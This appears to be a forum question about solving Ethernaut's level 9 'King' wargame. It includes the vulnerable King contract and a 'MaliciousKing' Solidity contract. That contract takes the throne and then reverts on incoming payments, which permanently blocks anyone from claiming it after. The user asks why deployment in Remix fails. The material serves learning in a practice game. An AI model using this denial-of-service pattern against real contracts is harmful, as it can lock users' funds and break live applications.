I am trying to pass level 9 of Ethernaut challenges known as the King contract.
My designed contract for hacking the King contract is as follows:
pragma solidity 0.8.0;
contract MaliciousKing {
constructor(address _to) payable {
address(_to).call{value: msg.value}();
}
receive() external payable {
revert("Not accepting funds");
}
}
It accepts the arbitrary ETH amount from the user while being deployed, and then it transfers the provided amount to the King contract to achieve the king position via providing more funds than the last king.
However, while entering the address as an argument for this contract to be deployed, I came across an error in my Remix IDE:
Does anyone know how I can make this deployment work? Lastly, I will provide the King contract code, which I am trying to interact with, but I am given the above error.
pragma solidity ^0.6.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
So many thanks in advance!